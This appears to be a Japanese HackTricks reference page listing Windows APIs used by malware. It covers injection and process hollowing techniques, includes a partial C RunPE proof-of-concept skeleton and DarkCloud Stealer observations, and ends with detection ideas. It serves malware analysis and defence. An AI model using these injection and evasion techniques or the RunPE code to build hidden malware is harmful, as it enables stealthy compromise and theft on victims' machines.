マルウェアで使用される一般的なAPI

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

一般

ネットワーキング

Raw SocketsWinAPI Sockets
socket()WSAStratup()
bind()bind()
listen()listen()
accept()accept()
connect()connect()
read()/recv()recv()
write()send()
shutdown()WSACleanup()

永続性

レジストリファイルサービス
RegCreateKeyEx()GetTempPath()OpenSCManager
RegOpenKeyEx()CopyFile()CreateService()
RegSetValueEx()CreateFile()StartServiceCtrlDispatcher()
RegDeleteKeyEx()WriteFile()
RegGetValue()ReadFile()

暗号化

名前
WinCrypt
CryptAcquireContext()
CryptGenKey()
CryptDeriveKey()
CryptDecrypt()
CryptReleaseContext()

解析防止/VM

関数名アセンブリ命令
IsDebuggerPresent()CPUID()
GetSystemInfo()IN()
GlobalMemoryStatusEx()
GetVersion()
CreateToolhelp32Snapshot [プロセスが実行中か確認]
CreateFileW/A [ファイルの存在を確認]

ステルス

名前
VirtualAllocメモリを割り当てる (パッカー)
VirtualProtectメモリの権限を変更する (パッカーがセクションに実行権限を与える)
ReadProcessMemory外部プロセスへの注入
WriteProcessMemoryA/W外部プロセスへの注入
NtWriteVirtualMemory
CreateRemoteThreadDLL/プロセス注入...
NtUnmapViewOfSection
QueueUserAPC
CreateProcessInternalA/W

実行

関数名
CreateProcessA/W
ShellExecute
WinExec
ResumeThread
NtResumeThread

その他

  • GetAsyncKeyState() -- キーロギング
  • SetWindowsHookEx -- キーロギング
  • GetForeGroundWindow -- 実行中のウィンドウ名を取得 (またはブラウザからのウェブサイト)
  • LoadLibrary() -- ライブラリをインポート
  • GetProcAddress() -- ライブラリをインポート
  • CreateToolhelp32Snapshot() -- 実行中のプロセスをリスト
  • GetDC() -- スクリーンショット
  • BitBlt() -- スクリーンショット
  • InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- インターネットにアクセス
  • FindResource(), LoadResource(), LockResource() -- 実行可能ファイルのリソースにアクセス

マルウェア技術

DLL注入

別のプロセス内で任意のDLLを実行する

  1. 悪意のあるDLLを注入するプロセスを特定する: CreateToolhelp32Snapshot, Process32First, Process32Next
  2. プロセスを開く: GetModuleHandle, GetProcAddress, OpenProcess
  3. プロセス内にDLLのパスを書く: VirtualAllocEx, WriteProcessMemory
  4. 悪意のあるDLLをロードするスレッドをプロセス内に作成する: CreateRemoteThread, LoadLibrary

使用する他の関数: NTCreateThreadEx, RtlCreateUserThread

反射DLL注入

通常のWindows API呼び出しを行わずに悪意のあるDLLをロードする。
DLLはプロセス内にマッピングされ、インポートアドレスを解決し、リロケーションを修正し、DllMain関数を呼び出す。

スレッドハイジャック

プロセスからスレッドを見つけて悪意のあるDLLをロードさせる

  1. ターゲットスレッドを見つける: CreateToolhelp32Snapshot, Thread32First, Thread32Next
  2. スレッドを開く: OpenThread
  3. スレッドを一時停止する: SuspendThread
  4. 被害者プロセス内に悪意のあるDLLのパスを書く: VirtualAllocEx, WriteProcessMemory
  5. ライブラリをロードするスレッドを再開する: ResumeThread

PE注入

ポータブル実行注入: 実行可能ファイルは被害者プロセスのメモリに書き込まれ、そこから実行される。

プロセスホロウイング (別名 RunPE)

Process Hollowing はWindowsマルウェアによって使用されるお気に入りの防御回避/実行トリックの一つです。アイデアは、一時停止状態で正当なプロセスを起動し、その元のイメージをメモリから削除(ホロウ)し、任意のPEをその場所にコピーすることです。プライマリスレッドが最終的に再開されると、悪意のあるエントリポイントが信頼されたバイナリのふりをして実行されます(しばしばMicrosoftによって署名されています)。

典型的なワークフロー:

  1. 無害なホストを生成する (例: RegAsm.exe, rundll32.exe, msbuild.exe) 一時停止して、まだ命令が実行されないようにします。
c
STARTUPINFOA  si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  1. 悪意のあるペイロードをメモリに読み込み、そのPEヘッダーを解析してSizeOfImage、セクション、新しいEntryPointを取得します。
  2. NtUnmapViewOfSection / ZwUnmapViewOfSection – 一時停止されたプロセスの元のイメージベースをアンマップします。
  3. VirtualAllocEx – リモートプロセス内にSizeOfImageのRWXメモリを予約します。
  4. WriteProcessMemory – 最初にHeadersをコピーし、その後セクションを反復して生データをコピーします。
  5. SetThreadContext – コンテキスト構造内のEAX/RAX(x64ではRCX)またはRipの値をパッチして、EIPがペイロードのEntryPointを指すようにします。
  6. ResumeThread – スレッドが続行し、攻撃者が提供したコードを実行します。

最小限の概念実証 (x86) スケルトン:

c
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);

// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}

実践的なメモがDarkCloud Stealerキャンペーンで観察されました:

  • ローダーはホストとしてRegAsm.exe(.NET Frameworkの一部)を選択しました - 注意を引く可能性の低い署名されたバイナリです。
  • 復号されたVB6スティーラー(holographies.exe)はディスクにドロップされず、常に空洞化されたプロセス内に存在するため、静的検出が難しくなります。
  • 敏感な文字列(正規表現、パス、Telegramの資格情報)は、各文字列ごとにRC4暗号化され、実行時にのみ復号されるため、メモリスキャンがさらに複雑になります。

検出アイデア:

  • メモリ領域がRWXとして割り当てられる前にGUI/コンソールウィンドウを作成しないCREATE_SUSPENDEDプロセスに警告を出します(善良なコードでは稀です)。
  • 異なるプロセス間での呼び出しシーケンスNtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemoryを探します。

フック

  • SSDTSystem Service Descriptor Table)はカーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し示し、ユーザープロセスがこれらの関数を呼び出すことができます。
  • ルートキットは、制御するアドレスへのポインタを変更することがあります。
  • IRPI/O Request Packets)は、コンポーネント間でデータの断片を送信します。カーネル内のほぼすべてのものがIRPを使用し、各デバイスオブジェクトにはフック可能な独自の関数テーブルがあります:DKOM(Direct Kernel Object Manipulation)
  • IATImport Address Table)は依存関係を解決するのに役立ちます。このテーブルをフックして、呼び出されるコードをハイジャックすることが可能です。
  • EATExport Address Table)フック。このフックはユーザーランドから行うことができます。目的はDLLによってエクスポートされた関数をフックすることです。
  • インラインフック:このタイプは達成が難しいです。これは関数自体のコードを修正することを含みます。おそらく、最初にジャンプを置くことによってです。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする